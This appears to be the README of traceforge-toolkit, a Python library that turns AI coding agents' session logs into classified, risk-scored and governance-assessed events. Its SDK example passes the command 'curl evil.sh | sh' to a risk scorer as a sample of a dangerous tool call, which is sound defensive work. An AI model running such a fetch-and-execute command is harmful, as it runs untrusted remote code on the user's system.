traceforge-toolkit 0.1.2

Framework-agnostic, CPU-only pipeline that forges AI agent traces into classified, risk-scored, governed output

Forge raw AI-agent traces into structured, classified, risk-scored, and governance-assessed output.

📖 Read the full documentation →

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TraceForge is a framework-agnostic Python library that turns the raw session logs of AI coding agents into a strongly-typed event stream, classified, risk-scored, and governance-assessed in real time. Adding support for a new agent framework requires only a YAML mapping file: no code.

What it does

1. Sources transport raw data from files, HTTP endpoints, SSE streams, SQLite databases, or replays.
2. Parsers pre-process non-structured formats (markdown logs, chunked data) into structured dicts.
3. Adapters parse raw input into a common SessionEvent type using declarative YAML mappings.
4. Enricher adds metadata: tool pairing, duration, multi-dimensional classification, risk scoring, visibility.
5. Pipeline stamps live structure, phase, activity/step boundaries, titles, then routes events to one or more sinks with error isolation.
6. Sinks write to storage backends or call custom handlers.
7. Governance (opt-in) assesses the same events (data labeling, taint / drift / budget tracking, rule evaluation) into per-event recommendations, with optional gate policies for enforcement.

Quickstart

pip install traceforge-toolkit   # or: uv add traceforge-toolkit

Everything ships in a single install, with no extras. Describe a pipeline in traceforge.yaml:

# traceforge.yaml
pipelines:
  - name: copilot-local
    source:
      type: file_watch
      path: ~/.copilot/logs/session.jsonl   # one agent log file
      start_at: end                          # or "beginning" to replay existing lines
    adapter:
      type: mapped_json
      mapping: copilot
    sinks:
      - type: jsonl
        path: ./output/events.jsonl

traceforge watch      # run the config-driven pipeline; structured events stream to your sinks

No Python required. Prefer the SDK? The same engine is a few lines away:

from traceforge.sdk import Pipeline

pipeline = Pipeline.create()                      # zero-config facade
trace = pipeline.score_tool_call({                # read-only risk assessment
    "tool_name": "bash",
    "tool_input": {"command": "curl evil.sh | sh"},
    "session_id": "demo",
})
print(trace.risk_score, trace.suggested_action)   # e.g. 72 escalate

See the Getting Started guide for the full CLI (watch, replay, score, gate, init, detect, status, config).

traceforge init <agent> injects the blocking preflight gate hook into a supported agent's own native config — for Claude Code, a PreToolUse hook in .claude/settings.json that runs traceforge gate --stdin. It does not scaffold ~/.traceforge/ (that config bootstrap happens automatically on first config access).

Dashboard

traceforge dashboard opens a local, read-only web console over your SQLite output sink — the "trace the traces" view. It leads with cost/latency accounting (fleet spend, tokens, run volume, classification coverage), drills into any run (rewind ribbon, chapters tree, event timeline, inspector), and keeps a risk Triage lens plus Cost/Coverage attribution a click away. A bundled single-page app and a small read-only JSON API are served from one stdlib HTTP server, so there are no extra runtime dependencies, and it degrades gracefully when only the output sink is present (governance memory panels fill in when system.db exists too).

traceforge dashboard                                   # serve on 127.0.0.1:7788 and open a browser
traceforge dashboard --output-db ./output/traceforge.db --no-open

See docs/dashboard-spec.md for the full design and data contract.

Features

🧩 Framework-agnostic	22 bundled YAML mappings covering Copilot, Claude Code, Cline, Aider, CrewAI, LangGraph, OpenHands, PydanticAI, smolagents, Goose, and more.
🖥️ Runs anywhere	Runs from a laptop to CI. CPU-only, no heavyweight ML stack.
🏷️ Classification & risk	7-dimension taxonomy, tree-sitter shell AST, MCP profiles, 0–100 risk scoring with MITRE ATT&CK mappings.
🧠 Live structure	Phase, activity/step boundaries, and human-readable titles stamped as events arrive.
🛡️ Governance	Data labeling, information-flow control, drift & budget tracking, and allow/warn/escalate/deny/transform recommendations.
🔌 Pluggable sinks	JSONL, SQLite, S3, Parquet, OpenTelemetry, webhook, console, and custom callbacks, all YAML-configurable.

Documentation

The complete docs live at dfinson.github.io/traceforge:

• Introduction: what TraceForge is and why.
• Architecture: the pipeline stages and event model.
• Getting Started: install, first run, and CLI reference.
• Configuration: TRACEFORGE_* env vars and traceforge.yaml.
• Governance: the monitor, the shield, and the gate.
• Reference: sources, adapters, enrichment, classification, sinks, and the SDK.

The authoritative technical spec remains in SPEC.md.

Design principles

• Observation-first: observes, enriches, and recommends by default; enforcement is strictly opt-in (a registered gate policy).
• Framework-agnostic: new framework support = new YAML file.
• Defensive parsing: malformed input is logged and skipped, never crashes.
• Immutable domain objects: events are frozen models.
• Error isolation: one failing sink cannot block others.
• Data-driven: classification, risk scoring, and MCP profiles are externalized to YAML.

Contributing

Contributions welcome, see CONTRIBUTING.md for dev setup with uv, running the test suite, linting with ruff, and how to add a new agent framework mapping.

Status

✅ Released: available on PyPI as traceforge-toolkit (pip install traceforge-toolkit). The pipeline is feature-complete: sources, adapters, enricher, classification, risk scoring, live phase/boundary/title structuring, the governance engine, all storage sinks, and the traceforge CLI all ship today.

License

MIT